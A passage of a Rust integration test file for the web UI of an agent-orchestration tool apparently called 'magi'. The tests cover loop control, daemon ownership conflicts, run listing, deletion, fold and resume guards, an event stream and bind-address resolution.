4260 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4261 assert_eq!(
4262 res.status, 200,
4263 "the answer must not wait for the loop: a run in flight is tens of \
4264 minutes and the operator is holding a phone: {}",
4265 res.body
4266 );
4267
4268 let view = settled(&f, |v| v["running"] == false).await;
4269 assert_eq!(view["owned"], false);
4270 assert_eq!(
4271 view["stopping"], false,
4272 "a loop that has stopped is not still stopping: {view}"
4273 );
4274 assert_eq!(
4275 view["last_error"],
4276 Value::Null,
4277 "a loop that was asked to stop did not fail: {view}"
4278 );
4279
4280 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4283 assert_eq!(twice.status, 200, "{}", twice.body);
4284 }
4285
4286 #[tokio::test]
4287 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4288 let f = Fixture::start().await;
4289 write_daemon(f.home.path(), Timestamp::now());
4292
4293 let view = f.get("/api/loop").await.json();
4294 assert_eq!(view["running"], false, "not in this process: {view}");
4295 assert_eq!(view["owned"], false, "and not this process's to control");
4296 assert_eq!(
4297 view["daemon"]["running"], true,
4298 "but a loop is alive somewhere, which is what the UI must say"
4299 );
4300 assert_eq!(view["daemon"]["pid"], 4242);
4301
4302 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4303 let res = f.post("/api/loop", Some(body)).await;
4304 assert_eq!(
4305 res.status, 409,
4306 "neither button may pretend to work on someone else's loop: {}",
4307 res.body
4308 );
4309 assert!(
4310 res.json()["error"]
4311 .as_str()
4312 .is_some_and(|e| e.contains("4242")),
4313 "the refusal has to name the process the operator must go to: {}",
4314 res.body
4315 );
4316 }
4317 assert_eq!(
4318 f.get("/api/loop").await.json()["running"],
4319 false,
4320 "and the refusal started nothing"
4321 );
4322 }
4323
4324 #[tokio::test]
4325 async fn a_stale_status_file_is_not_a_foreign_owner() {
4326 let f = Fixture::start().await;
4327 write_daemon(
4328 f.home.path(),
4329 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4330 );
4331
4332 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4333 assert_eq!(
4334 res.status, 200,
4335 "a daemon killed a minute ago must not lock the loop out of its \
4336 own home for good: {}",
4337 res.body
4338 );
4339 assert_eq!(res.json()["running"], true);
4340
4341 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4342 }
4343
4344 #[tokio::test]
4345 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4346 let f = Fixture::start().await;
4347 let before = f.get("/api/health").await.json()["loop_rev"]
4348 .as_u64()
4349 .expect("a loop revision");
4350
4351 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4352
4353 let after = f.get("/api/health").await.json()["loop_rev"]
4354 .as_u64()
4355 .expect("a loop revision");
4356 assert!(
4357 after > before,
4358 "the loop is in-process state, so this counter is the only thing \
4359 that tells a second device the first one started it: {before} -> \
4360 {after}"
4361 );
4362
4363 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4364 }
4365
4366 #[tokio::test]
4367 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4368 let f = Fixture::with_loop(launch_broken).await;
4369
4370 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4371 assert_eq!(
4372 res.status, 200,
4373 "starting it is not the failure: {}",
4374 res.body
4375 );
4376
4377 let view = settled(&f, |v| v["last_error"].is_string()).await;
4378 assert_eq!(
4379 view["running"], false,
4380 "a loop that died must not read as running, or the operator has \
4381 nothing to press: {view}"
4382 );
4383 assert_eq!(view["owned"], false);
4384 assert!(
4385 view["last_error"]
4386 .as_str()
4387 .is_some_and(|e| e.contains("read-only file system")),
4388 "the phone is where a loop that died at 3am is visible: {view}"
4389 );
4390
4391 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4394 assert_eq!(again.status, 200, "{}", again.body);
4395 assert_eq!(
4396 again.json()["last_error"],
4397 Value::Null,
4398 "a fresh start does not keep showing why the last one died"
4399 );
4400 }
4401
4402 #[tokio::test]
4414 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
4415 let home = TempDir::new().expect("temp home");
4416 let runs = home.path().join("runs");
4417 std::fs::create_dir_all(&runs).expect("runs dir");
4418 let ui = Ui::new(
4419 Queue::at(home.path().join("queue")),
4420 Questions::at(home.path().join("questions")),
4421 Chats::at(home.path().join("chats")),
4422 runs,
4423 home.path().to_path_buf(),
4424 PathBuf::from("/repo/magi"),
4425 )
4426 .with_launch(launch_knocking_on_the_way_out);
4427 let looping = ui.looping();
4428 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4429 .await
4430 .expect("bind loopback");
4431 let addr = listener.local_addr().expect("local addr");
4432 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
4433 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
4434
4435 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
4436 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
4437
4438 let bound = std::sync::Mutex::new(None);
4441 hand_over(&looping, served, || {
4442 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
4443 *bound.lock().expect("bound") = Some(attempt);
4444 Ok(())
4445 })
4446 .await
4447 .expect("hand over");
4448
4449 assert_eq!(
4450 *PARK_HEARD.lock().expect("park heard"),
4451 Some(200),
4452 "the deck must answer while the loop is parking"
4453 );
4454 let attempt = bound
4455 .lock()
4456 .expect("bound")
4457 .take()
4458 .expect("the successor was started");
4459 assert!(
4460 attempt.is_ok(),
4461 "and the address must be free by the time it is: {attempt:?}"
4462 );
4463 }
4464
4465 #[tokio::test]
4466 async fn a_newer_daemon_status_file_still_renders() {
4467 let f = Fixture::start().await;
4468 std::fs::write(
4471 f.home.path().join("daemon.json"),
4472 serde_json::json!({
4473 "schema": 2,
4474 "updated_at": Timestamp::now().to_string(),
4475 "idle": true,
4476 "surprise": { "nested": [1, 2, 3] },
4477 })
4478 .to_string(),
4479 )
4480 .expect("write daemon.json");
4481
4482 let health = f.get("/api/health").await;
4483
4484 assert_eq!(health.status, 200);
4485 assert_eq!(health.json()["daemon"]["running"], true);
4486 }
4487
4488 #[tokio::test]
4489 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4490 let f = Fixture::start().await;
4491 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4492 let broken = f.runs().join("20260902-140502-bad");
4493 std::fs::create_dir_all(&broken).expect("run dir");
4494 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4495
4496 let list = f.get("/api/runs").await;
4497 let detail = f.get("/api/runs/20260902-140502-bad").await;
4498
4499 assert_eq!(list.status, 200);
4500 let listed = list.json();
4501 let ids: Vec<&str> = listed
4502 .as_array()
4503 .expect("an array")
4504 .iter()
4505 .map(|r| r["id"].as_str().expect("an id"))
4506 .collect();
4507 assert_eq!(
4508 ids,
4509 vec!["20260902-140501-good"],
4510 "one unreadable run must not cost the operator the whole history"
4511 );
4512 assert_eq!(detail.status, 500);
4513 assert!(
4514 detail.json()["error"]
4515 .as_str()
4516 .is_some_and(|e| e.contains("run.json")),
4517 "the failure names the file to look at: {}",
4518 detail.body
4519 );
4520 let health = f.get("/api/health").await;
4524 assert_eq!(health.json()["runs_unreadable"], 1);
4525 }
4526
4527 #[tokio::test]
4528 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4529 let f = Fixture::start().await;
4530 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4531
4532 let summary = f.get("/api/runs").await.json();
4533 let row = &summary[0];
4534 assert_eq!(row["short"], "a1b2");
4535 assert_eq!(row["status"], "ready");
4536 assert_eq!(row["done"], true);
4537 assert_eq!(row["title"], "Add a web UI");
4538 assert_eq!(row["repo_name"], "magi");
4539 assert_eq!(row["judges"], 3);
4540 assert_eq!(row["winner"], Value::Null);
4541 assert_eq!(row["reviews"], 0);
4542
4543 let detail = f.get("/api/runs/a1b2").await;
4546 assert_eq!(detail.status, 200);
4547 assert_eq!(detail.json()["base_branch"], "main");
4548 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4549 }
4550
4551 #[tokio::test]
4552 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4553 let f = Fixture::start().await;
4554 for id in [
4555 "20260902-140501-aaaa",
4556 "20260902-140502-bbbb",
4557 "20260902-140503-cccc",
4558 ] {
4559 write_run(&f.runs(), id, RunStatus::Merged);
4560 }
4561
4562 let all = f.get("/api/runs").await.json();
4563 let capped = f.get("/api/runs?limit=2").await.json();
4564
4565 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4566 assert_eq!(all.as_array().map(Vec::len), Some(3));
4567 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4568 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4569 }
4570
4571 #[tokio::test]
4572 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4573 let f = Fixture::start().await;
4574 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4575
4576 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4577
4578 assert_eq!(res.status, 200);
4579 assert!(
4580 res.headers
4581 .contains("content-type: text/plain; charset=utf-8"),
4582 "a browser must render it, not download it: {}",
4583 res.headers
4584 );
4585 assert!(
4589 res.body.contains("20260902-140501-a1b2"),
4590 "the report is about the run that was asked for: {}",
4591 res.body
4592 );
4593 }
4594
4595 #[tokio::test]
4596 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4597 let f = Fixture::start().await;
4598
4599 let html = f.get("/").await;
4600 let css = f.get("/app.css").await;
4601 let js = f.get("/app.js").await;
4602
4603 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4604 assert!(
4605 html.headers
4606 .contains("content-type: text/html; charset=utf-8")
4607 );
4608 assert!(css.headers.contains("content-type: text/css"));
4609 assert!(js.headers.contains("content-type: text/javascript"));
4610 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4611 }
4612
4613 #[tokio::test]
4614 async fn the_change_stream_announces_the_current_revisions_on_connect() {
4615 let f = Fixture::start().await;
4616
4617 let mut socket = tokio::net::TcpStream::connect(f.addr)
4618 .await
4619 .expect("connect");
4620 socket
4621 .write_all(
4622 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4623 )
4624 .await
4625 .expect("write request");
4626
4627 let mut seen = String::new();
4630 let mut buf = [0u8; 1024];
4631 while !seen.contains("event: change") {
4632 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4633 .await
4634 .expect("the stream must speak within five seconds")
4635 .expect("read");
4636 assert!(read > 0, "the server closed the change stream: {seen}");
4637 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4638 }
4639
4640 assert!(
4641 seen.to_lowercase()
4642 .contains("content-type: text/event-stream"),
4643 "the browser only reconnects automatically for a real SSE stream: {seen}"
4644 );
4645 let data = seen
4646 .lines()
4647 .find_map(|l| l.strip_prefix("data:"))
4648 .expect("a data line");
4649 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4650 assert!(
4651 payload["queue_rev"].is_u64()
4652 && payload["runs_rev"].is_u64()
4653 && payload["questions_rev"].is_u64()
4654 && payload["chats_rev"].is_u64()
4655 && payload["loop_rev"].is_u64(),
4656 "the client needs one revision per store to know what to refetch, \
4657 and `chats_rev` is the only notification a slow interview gets - \
4658 a phone whose radio slept through a turn learns about it here, as \
4659 does one whose operator started the loop from another device: \
4660 {payload}"
4661 );
4662
4663 let health = f.get("/api/health").await.json();
4670 for key in [
4671 "queue_rev",
4672 "runs_rev",
4673 "questions_rev",
4674 "chats_rev",
4675 "loop_rev",
4676 ] {
4677 assert!(
4678 health[key].is_u64(),
4679 "health is the change stream's fallback and is missing `{key}`: {health}"
4680 );
4681 }
4682 }
4683
4684 #[test]
4685 fn bind_reads_back_from_the_spelling_the_cli_prints() {
4686 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4690 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4691 }
4692 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4693 assert!("everywhere".parse::<Bind>().is_err());
4694 }
4695
4696 #[test]
4697 fn an_explicit_bind_address_is_taken_verbatim() {
4698 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4699
4700 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4701
4702 assert_eq!(addr, asked);
4703 assert!(
4704 warning.is_none(),
4705 "an operator who named an address gets no lecture"
4706 );
4707 }
4708
4709 #[test]
4710 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4711 let (addr, warning) = resolve_bind(&Bind::Auto);
4712
4713 match addr {
4720 IpAddr::V4(ip) if is_tailnet(&ip) => {
4721 assert!(warning.is_none(), "a tailnet address needs no warning");
4722 }
4723 other => {
4724 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4725 let warning = warning.expect("a fallback has to explain itself");
4726 assert!(
4727 warning.contains("127.0.0.1") && warning.contains("local-only"),
4728 "the warning says what happened and what it costs: {warning}"
4729 );
4730 }
4731 }
4732 }
4733
4734 #[test]
4735 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4736 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4740 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4741 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4742 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4743 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4744 }
4745
4746 #[test]
4747 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4748 let ids = vec![
4749 "20260902-140501-aaaa".to_owned(),
4750 "20260902-140502-aabb".to_owned(),
4751 ];
4752
4753 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4754 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4755 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4756
4757 assert_eq!(missing.status, StatusCode::NOT_FOUND);
4758 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4759 assert_eq!(short, "20260902-140502-aabb");
4760 }
4761 #[tokio::test]
4762 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4763 let fx = Fixture::start().await;
4769 let id = panel(
4770 &fx,
4771 "<img src=\"shot.png\">",
4772 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4773 );
4774
4775 let doc = fx
4777 .get(&format!("/api/questions/{id}/panel/index.html"))
4778 .await;
4779 assert_eq!(doc.status, 200, "{}", doc.body);
4780 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4781
4782 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4783 assert_eq!(sibling.status, 200, "{}", sibling.body);
4784 assert_eq!(sibling.header("content-type"), Some("image/png"));
4785 assert_eq!(
4786 sibling.header("content-security-policy"),
4787 Some(PANEL_CSP),
4788 "the sibling route must carry the same policy as the asset route"
4789 );
4790
4791 assert_eq!(
4794 fx.head(&format!("/api/questions/{id}/panel")).await.status,
4795 200
4796 );
4797 }
4798
4799 #[test]
4800 fn runs_revision_moves_when_deleting_an_older_run() {
4801 let temp = TempDir::new().expect("tempdir");
4802 let runs = temp.path().join("runs");
4803 std::fs::create_dir_all(&runs).expect("create runs dir");
4804
4805 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4806
4807 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4808 std::thread::sleep(Duration::from_millis(10));
4809 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4810
4811 let rev_before = runs_revision(&runs);
4812 assert!(rev_before > 0);
4813
4814 let old_dir = runs.join("20260901-100000-old1");
4815 std::fs::remove_dir_all(&old_dir).expect("remove old run");
4816
4817 let rev_after = runs_revision(&runs);
4818 assert_ne!(
4819 rev_before, rev_after,
4820 "deleting an older run must change the revision so other clients see the deletion"
4821 );
4822 }
4823
4824 #[tokio::test]
4825 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4826 let fx = Fixture::start().await;
4827 let q = fx.queue();
4828
4829 let mut t1 = Task::new(
4831 "Task 1".to_owned(),
4832 "Instruction 1".to_owned(),
4833 PathBuf::from("/repo"),
4834 Source::Human,
4835 );
4836 let run_id = "20260901-000000-r111";
4837 t1.runs.push(run_id.to_owned());
4838 write_run(&fx.runs(), run_id, RunStatus::Merged);
4839 q.put(&mut t1).expect("put t1");
4840
4841 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4843 assert_eq!(res.status, 204);
4844 assert!(res.body.is_empty(), "204 No Content has no body");
4845 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4846 assert!(
4847 fx.runs().join(run_id).exists(),
4848 "run directory must not be deleted when its task is deleted"
4849 );
4850
4851 let mut t2 = Task::new(
4853 "Task 2".to_owned(),
4854 "Instruction 2".to_owned(),
4855 PathBuf::from("/repo"),
4856 Source::Human,
4857 );
4858 t2.status = TaskStatus::Running;
4859 q.put(&mut t2).expect("put t2");
4860 let mut beat = crate::daemon::Status::new();
4861 beat.current = Some(crate::daemon::Current {
4862 task: t2.id.clone(),
4863 run: "20260901-000000-r222".to_owned(),
4864 });
4865 beat.updated_at = jiff::Timestamp::now();
4866 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4867 .expect("publish a heartbeat");
4868 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4869 assert_eq!(res.status, 409);
4870 assert!(
4871 res.json()["error"]
4872 .as_str()
4873 .unwrap()
4874 .contains("live daemon")
4875 );
4876 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4877
4878 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4884 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4885 .expect("leave a stale heartbeat");
4886 let mut t3 = Task::new(
4887 "Task 3".to_owned(),
4888 "Instruction 3".to_owned(),
4889 PathBuf::from("/repo"),
4890 Source::Human,
4891 );
4892 t3.status = TaskStatus::Running;
4893 q.put(&mut t3).expect("put t3");
4894 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4895 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4896 assert_eq!(res.status, 204);
4897 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4898 assert!(
4899 q.claim(&t3.id).is_ok(),
4900 "the stale lock went with it, so the id is claimable again"
4901 );
4902
4903 let res = fx.delete("/api/queue/nonexistent").await;
4905 assert_eq!(res.status, 404);
4906 }
4907
4908 #[tokio::test]
4909 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4910 let fx = Fixture::start().await;
4911 let runs = fx.runs();
4912
4913 let run_id = "20260901-000000-fold";
4915 let mut state = RunState::new(
4916 PathBuf::from("/repo"),
4917 "main".to_owned(),
4918 "abc".to_owned(),
4919 "instruction".to_owned(),
4920 Config::default(),
4921 );
4922 state.id = run_id.to_owned();
4923 state.status = RunStatus::Merged;
4924 state.candidates.push(crate::run::Candidate {
4925 index: 0,
4926 label: 'A',
4927 agent: "a".to_owned(),
4928 branch: "b".to_owned(),
4929 worktree: PathBuf::from("/w"),
4930 summary: String::new(),
4931 stat: String::new(),
4932 files: 1,
4933 commits: 1,
4934 empty: false,
4935 failed: None,
4936 duration_ms: 0,
4937 folded: true,
4938 });
4939 let dir = runs.join(run_id);
4940 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4941 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4942 .expect("write artifact");
4943 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4944 .expect("write run.json");
4945
4946 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4948 assert_eq!(res.status, 204);
4949 assert!(res.body.is_empty(), "204 has no body");
4950 assert!(!dir.exists(), "run directory and artifacts must be deleted");
4951
4952 let run_running = "20260901-000000-rung";
4957 write_run(&runs, run_running, RunStatus::Prep);
4958 let mut beat = crate::daemon::Status::new();
4959 beat.current = Some(crate::daemon::Current {
4960 task: "20260901-000000-task".to_owned(),
4961 run: run_running.to_owned(),
4962 });
4963 beat.updated_at = jiff::Timestamp::now();
4964 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4965 .expect("publish a heartbeat");
4966 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4967 assert_eq!(res.status, 409);
4968 assert!(
4969 res.json()["error"]
4970 .as_str()
4971 .unwrap()
4972 .contains("live daemon"),
4973 "the refusal must say who is holding it"
4974 );
4975 assert!(
4976 runs.join(run_running).exists(),
4977 "a run in flight keeps its directory"
4978 );
4979
4980 let run_unfolded = "20260901-000000-unfd";
4982 let mut state2 = RunState::new(
4983 PathBuf::from("/repo"),
4984 "main".to_owned(),
4985 "abc".to_owned(),
4986 "instruction".to_owned(),
4987 Config::default(),
4988 );
4989 state2.id = run_unfolded.to_owned();
4990 state2.status = RunStatus::Ready;
4991 state2.candidates.push(crate::run::Candidate {
4992 index: 0,
4993 label: 'A',
4994 agent: "a".to_owned(),
4995 branch: "b".to_owned(),
4996 worktree: PathBuf::from("/w"),
4997 summary: String::new(),
4998 stat: String::new(),
4999 files: 1,
5000 commits: 1,
5001 empty: false,
5002 failed: None,
5003 duration_ms: 0,
5004 folded: false,
5005 });
5006 let dir2 = runs.join(run_unfolded);
5007 std::fs::create_dir_all(&dir2).expect("create dir2");
5008 std::fs::write(
5009 dir2.join("run.json"),
5010 serde_json::to_string(&state2).unwrap(),
5011 )
5012 .expect("write run.json");
5013
5014 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
5015 assert_eq!(res.status, 409);
5016 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
5017 assert!(dir2.exists(), "unfolded run directory is kept");
5018
5019 let res = fx.delete("/api/runs/nonexistent").await;
5021 assert_eq!(res.status, 404);
5022 }
5023
5024 #[test]
5025 fn web_ui_delete_contract_in_front_end() {
5026 assert!(APP_JS.contains("deleteRun:"));
5028 assert!(APP_JS.contains("deleteTask:"));
5029
5030 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
5032 ..APP_JS.find("function renderRuns").unwrap()];
5033 assert!(!run_cards_slice.to_lowercase().contains("delete"));
5034
5035 assert!(APP_JS.contains("renderRunDelete"));
5037 assert!(APP_JS.contains("runDeleteReason"));
5038 assert!(APP_JS.contains("magi fold"));
5039 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
5040
5041 assert!(APP_JS.contains("cancel.focus"));
5043 assert!(APP_JS.contains("armedRunDelete"));
5044 assert!(APP_JS.contains("armedDelete"));
5045
5046 assert!(APP_JS.contains("disabled: status === \"running\""));
5048 }
5049
5050 #[test]
5070 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
5071 let build = APP_JS
5072 .find("function createRunCard")
5073 .expect("createRunCard exists");
5074 let update = APP_JS
5075 .find("function updateRunCard")
5076 .expect("updateRunCard exists");
5077 let end = APP_JS
5078 .find("function renderRuns")
5079 .expect("renderRuns exists");
5080
5081 let builder = &APP_JS[build..update];
5083 let open = builder.find("refs = {").expect("createRunCard sets refs");
5084 let literal = &builder[open + "refs = {".len()..];
5085 let close = literal.find('}').expect("the refs literal is closed");
5086 let published: HashSet<&str> = literal[..close]
5087 .split(',')
5088 .filter_map(|entry| entry.split(':').next())
5090 .map(str::trim)
5091 .filter(|name| !name.is_empty())
5092 .collect();
5093 assert!(
5094 published.len() > 5,
5095 "the refs literal did not parse into names: {published:?}"
5096 );
5097
5098 let mut used: Vec<&str> = Vec::new();
5101 let updaters = &APP_JS[update..end];
5102 for (at, _) in updaters.match_indices("r.") {
5103 let before = updaters[..at].chars().next_back();
5106 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
5107 continue;
5108 }
5109 let rest = &updaters[at + 2..];
5110 let len = rest
5111 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
5112 .unwrap_or(rest.len());
5113 if len > 0 {
5114 used.push(&rest[..len]);
5115 }
5116 }
5117 assert!(
5118 used.len() > 5,
5119 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
5120 );
5121
5122 let missing: Vec<&str> = used
5123 .iter()
5124 .copied()
5125 .filter(|name| !published.contains(name))
5126 .collect();
5127 assert!(
5128 missing.is_empty(),
5129 "a run card's updater reaches for {missing:?}, which `createRunCard` \
5130 never put in `refs` - every card will throw and the list will \
5131 render empty under a count line that says otherwise. Published: \
5132 {published:?}"
5133 );
5134 }
5135
5136 #[tokio::test]
5137 async fn folding_from_the_phone_reports_what_it_removed() {
5138 let fx = Fixture::start().await;
5139 let runs = fx.runs();
5140
5141 let id = "20260901-000000-fold";
5145 write_run(&runs, id, RunStatus::Stalled);
5146 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5147 assert_eq!(res.status, 200);
5148 assert_eq!(res.json()["removed_count"], 0);
5149 assert_eq!(res.json()["run"], id);
5150 assert!(
5151 runs.join(id).exists(),
5152 "a fold keeps the run's record; only the worktrees go"
5153 );
5154 }
5155
5156 #[tokio::test]
5157 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
5158 let fx = Fixture::start().await;
5159 let runs = fx.runs();
5160 let id = "20260901-000000-live";
5161 write_run(&runs, id, RunStatus::Implementing);
5162
5163 let mut beat = crate::daemon::Status::new();
5164 beat.current = Some(crate::daemon::Current {
5165 task: "20260901-000000-task".to_owned(),
5166 run: id.to_owned(),
5167 });
5168 beat.updated_at = jiff::Timestamp::now();
5169 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5170 .expect("publish a heartbeat");
5171
5172 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5173 assert_eq!(res.status, 409);
5174 assert!(
5175 res.json()["error"]
5176 .as_str()
5177 .unwrap()
5178 .contains("live daemon"),
5179 "folding under a running agent would pull its worktree away"
5180 );
5181 }
5182
5183 #[tokio::test]
5184 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
5185 let fx = Fixture::start().await;
5186 let runs = fx.runs();
5187
5188 for (status, word) in [
5194 (RunStatus::Merged, "merged"),
5195 (RunStatus::Ready, "ready"),
5196 (RunStatus::Failed, "failed"),
5197 ] {
5198 let id = format!("20260901-000000-{}", &word[..4]);
5199 write_run(&runs, &id, status);
5200 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
5201 assert_eq!(res.status, 409, "{word} must not be resumable");
5202 let err = res.json()["error"].as_str().unwrap().to_owned();
5203 assert!(err.contains(word), "the refusal names the status: {err}");
5204 }
5205
5206 let mid = "20260901-000000-midf";
5211 write_run(&runs, mid, RunStatus::Reviewing);
5212 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
5213 assert_eq!(res.status, 202, "an interrupted run is resumable");
5214 }
5215
5216 #[tokio::test]
5217 async fn resume_is_refused_while_the_loop_is_running() {
5218 let fx = Fixture::start().await;
5219 let runs = fx.runs();
5220 let stalled = "20260901-000000-stal";
5221 write_run(&runs, stalled, RunStatus::Stalled);
5222
5223 let mut beat = crate::daemon::Status::new();
5226 beat.current = Some(crate::daemon::Current {
5227 task: "20260901-000000-task".to_owned(),
5228 run: "20260901-000000-othr".to_owned(),
5229 });
5230 beat.updated_at = jiff::Timestamp::now();
5231 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5232 .expect("publish a heartbeat");
5233
5234 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5235 assert_eq!(res.status, 409);
5236 let err = res.json()["error"].as_str().unwrap().to_owned();
5237 assert!(err.contains("othr"), "it names what the loop is on: {err}");
5238 assert!(err.contains("one competition at a time"), "{err}");
5239 }
5240
5241 #[test]
5242 fn a_run_cannot_be_resumed_twice_at_once() {
5243 let home = TempDir::new().expect("temp home");
5244 let ui = Ui::new(
5245 Queue::at(home.path().join("queue")),
5246 Questions::at(home.path().join("questions")),
5247 Chats::at(home.path().join("chats")),
5248 home.path().join("runs"),
5249 home.path().to_path_buf(),
5250 PathBuf::from("/repo"),
5251 );
5252 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5253 let again = ui.begin_resume("20260901-000000-once");
5254 assert!(again.is_err(), "a second tap must not start a second graph");
5255 drop(first);
5256 assert!(
5257 ui.begin_resume("20260901-000000-once").is_ok(),
5258 "and the claim is released when the attempt ends"
5259 );
5260 }
5261
5262 #[test]
5263 fn refreshing_a_conversation_never_navigates_to_it() {
5264 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5271 ..APP_JS.find("async function startChat(").expect("startChat")];
5272 assert!(
5273 !body.contains("state.chatDetail = {"),
5274 "loadChat must not decide which conversation is on screen: {body}"
5275 );
5276 assert!(
5277 body.contains("if (state.chatDetail.id !== id) return;"),
5278 "it returns instead of drawing a chat the operator is not reading"
5279 );
5280
5281 assert!(
5285 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5286 "settle the turn before the on-screen check"
5287 );
5288
5289 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5291 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5292 }
5293
5294 #[tokio::test]
5295 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5296 let fx = Fixture::start().await;
5297 let mut beat = crate::daemon::Status::new();
5301 beat.pid = 4321;
5302 beat.updated_at = jiff::Timestamp::now();
5303 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
